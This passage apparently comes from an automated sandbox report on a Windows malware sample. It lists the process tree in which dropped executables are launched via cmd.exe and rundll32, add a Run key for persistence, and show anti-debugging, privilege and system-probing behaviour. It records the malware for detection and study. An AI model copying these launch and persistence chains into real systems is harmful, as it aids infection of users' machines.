- Enumerates system info in registry
PID:5548
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:1944
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:4216
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5592
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:3844
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:916
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:2464
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:3984
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:1192
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:4836
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:3560
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:1364
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue11141271fbe5877f.exe4⤵
- Suspicious use of WriteProcessMemory
PID:4548 -
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11141271fbe5877f.exeTue11141271fbe5877f.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3196 -
C:\ProgramData\3402997.exe"C:\ProgramData\3402997.exe"6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3560 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3560 -s 22967⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:2528
-
-
-
C:\ProgramData\4644938.exe"C:\ProgramData\4644938.exe"6⤵
- Executes dropped EXE
- Adds Run key to start application
PID:5044 -
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"7⤵
- Executes dropped EXE
PID:3172
-
-
-
C:\ProgramData\802260.exe"C:\ProgramData\802260.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious behavior: EnumeratesProcesses
PID:4788
-
-
C:\ProgramData\7383144.exe"C:\ProgramData\7383144.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3256
-
-
C:\ProgramData\8470279.exe"C:\ProgramData\8470279.exe"6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4896 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4896 -s 23807⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:1452
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue118f55232e4.exe4⤵
- Suspicious use of WriteProcessMemory
PID:4028 -
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue118f55232e4.exeTue118f55232e4.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1148 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1148 -s 13726⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:560
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue112c483dd3245d.exe4⤵
- Suspicious use of WriteProcessMemory
PID:4808 -
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue112c483dd3245d.exeTue112c483dd3245d.exe5⤵
- Executes dropped EXE
PID:4632 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4632 -s 2886⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:1848
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue11bc0507b56295.exe4⤵
- Suspicious use of WriteProcessMemory
PID:4348
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4728 -s 5164⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:4304
-
-
-
-
C:\Windows\System32\sihclient.exeC:\Windows\System32\sihclient.exe /cv lX+JvkxKV0GZd+6TsanO5Q.0.21⤵
- Modifies data under HKEY_USERS
PID:5028
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11bc0507b56295.exeTue11bc0507b56295.exe1⤵
- Executes dropped EXE
PID:1016 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1016 -s 2842⤵
- Drops file in Windows directory
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4672
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 1016 -ip 10161⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1180
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 4632 -ip 46321⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4424
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 4588 -ip 45881⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5044
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 352 -p 4728 -ip 47281⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2892
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 4780 -ip 47801⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1640
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 1148 -ip 11481⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3268
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 2892 -ip 28921⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5572
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Loads dropped DLL
PID:5660 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5660 -s 4602⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:5964
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:5604
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 5660 -ip 56601⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5812
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 4028 -ip 40281⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5892
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 632 -p 3560 -ip 35601⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3548
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 6020 -ip 60201⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:936
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:5852 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Loads dropped DLL
PID:3488 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3488 -s 4603⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:4056
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 3488 -ip 34881⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5552
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 632 -p 4896 -ip 48961⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6140
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 620 -p 5588 -ip 55881⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5848
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 1204 -ip 12041⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4544
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BITS1⤵
- Modifies data under HKEY_USERS
PID:3560
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:5932
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 5980 -ip 59801⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5960
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 5888 -ip 58881⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5908
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 4344 -ip 43441⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1432
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 4304 -ip 43041⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1436
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 5228 -ip 52281⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4548
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 5184 -ip 51841⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3780
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x4 /state0:0xa39e1055 /state1:0x41c64e6d1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:5144